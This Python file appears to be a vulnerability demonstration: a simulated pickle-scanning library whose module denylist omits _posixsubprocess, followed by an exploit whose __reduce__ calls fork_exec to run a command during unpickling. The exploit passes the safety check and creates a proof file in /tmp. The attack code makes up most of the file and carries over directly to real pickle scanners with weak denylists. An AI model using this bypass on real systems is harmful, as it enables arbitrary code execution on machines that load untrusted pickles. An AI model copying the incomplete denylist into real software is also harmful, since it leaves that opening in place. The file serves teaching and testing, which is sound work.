Vulnerable code sample

import pickle
import pickletools
import io
import os
import sys

# This example represents a vulnerable version of the 'fickle' library
# and a payload to exploit it, as described in the fictional CVE-2026-14534.
# The vulnerability lies in an incomplete denylist.

# --- Start of simulated vulnerable 'fickle' library code ---

class FickleSafetyException(Exception):
    """Raised when a pickle stream is deemed unsafe."""
    pass

# This denylist is incomplete, as described in the CVE.
# It is missing '_posixsubprocess', 'site', and 'atexit'.
UNSAFE_IMPORTS = {
    'os',
    'sys',
    'subprocess',
    'shutil',
    'ctypes',
    'pathlib',
}

def check_safety(pickle_bytes):
    """
    Scans a pickle bytestream for opcodes that import modules from the
    UNSAFE_IMPORTS denylist.
    In the vulnerable version, this check is flawed due to the incomplete list.
    """
    for opcode, arg, pos in pickletools.genops(pickle_bytes):
        if opcode.name == 'GLOBAL':
            module_name, _ = arg.split(' ')
            if module_name in UNSAFE_IMPORTS:
                # This check will NOT trigger for '_posixsubprocess'
                raise FickleSafetyException(f"Disallowed import of '{module_name}'")
    
    # The check incorrectly passes, returning 'LIKELY_SAFE'
    return "LIKELY_SAFE"

def load(pickle_stream):
    """
    A security-gated pickle loader. It first checks for safety and then
    deserializes the stream if the check passes.
    """
    # In a real library, stream handling would be more robust.
    # Here we read it all into memory for the check.
    pickle_bytes = pickle_stream.read()
    
    # The security gate: if check_safety returns LIKELY_SAFE, proceed.
    verdict = check_safety(pickle_bytes)
    if verdict != "LIKELY_SAFE":
        raise FickleSafetyException(f"Safety check failed with verdict: {verdict}")

    # Because the check passed, the dangerous payload is deserialized and executed.
    return pickle.loads(pickle_bytes)

# --- End of simulated vulnerable 'fickle' library code ---


# --- Exploit Demonstration ---

# This exploit is only applicable to POSIX-compliant systems (Linux, macOS, etc.)
# as it uses the '_posixsubprocess' module.
if os.name != 'posix':
    print("This vulnerability demonstration is for POSIX systems only.")
    sys.exit(0)

# The module that is NOT on the denylist but should be.
import _posixsubprocess

# Path to a file that will be created to prove code execution.
PROOF_FILE = "/tmp/pwned_by_fickle.txt"

class ExploitPayload:
    """
    This class, when pickled, will execute an arbitrary command upon unpickling.
    It leverages a module that is missing from the vulnerable denylist.
    """
    def __reduce__(self):
        # The __reduce__ method tells pickle how to reconstruct the object.
        # We instruct it to call _posixsubprocess.fork_exec.
        command = ('/usr/bin/touch', PROOF_FILE)
        
        # The arguments for fork_exec are complex. We only need to provide
        # the essential ones to execute a simple command.
        # This will fail on systems without /usr/bin/touch, but demonstrates the principle.
        return (_posixsubprocess.fork_exec, (
            command, command, True, (), None, None, -1, -1, -1, -1, -1, -1, -1, -1, 
            False, False, 0, -1, None, -1, -1, -1, None
        ))

# Main execution: Create and load the malicious pickle
if __name__ == "__main__":
    print(f"[*] Simulating vulnerability CVE-2026-14534.")
    
    if os.path.exists(PROOF_FILE):
        os.remove(PROOF_FILE)

    print("[*] Creating malicious pickle payload...")
    payload = ExploitPayload()
    pickled_data = pickle.dumps(payload)
    
    malicious_stream = io.BytesIO(pickled_data)

    print("[*] Calling the vulnerable 'fickle.load()' function...")
    try:
        # This call will first run check_safety(), which will incorrectly pass.
        # Then, it will run pickle.loads(), executing the payload.
        load(malicious_stream)
        # Note: fork_exec creates a new process, so this script continues.
        # We need a small delay to ensure the file system reflects the change.
        import time
        time.sleep(0.1)

    except FickleSafetyException as e:
        print(f"[!] Exploit failed. Safety check was triggered: {e}")
    except Exception as e:
        print(f"[!] An unexpected error occurred during deserialization: {e}")

    # Verify that the exploit was successful
    if os.path.exists(PROOF_FILE):
        print(f"\n[+] SUCCESS: The exploit bypassed the safety check.")
        print(f"[+] Proof of execution: File '{PROOF_FILE}' was created.")
        os.remove(PROOF_FILE)
    else:
        print("\n[-] FAILURE: The exploit did not execute as expected.")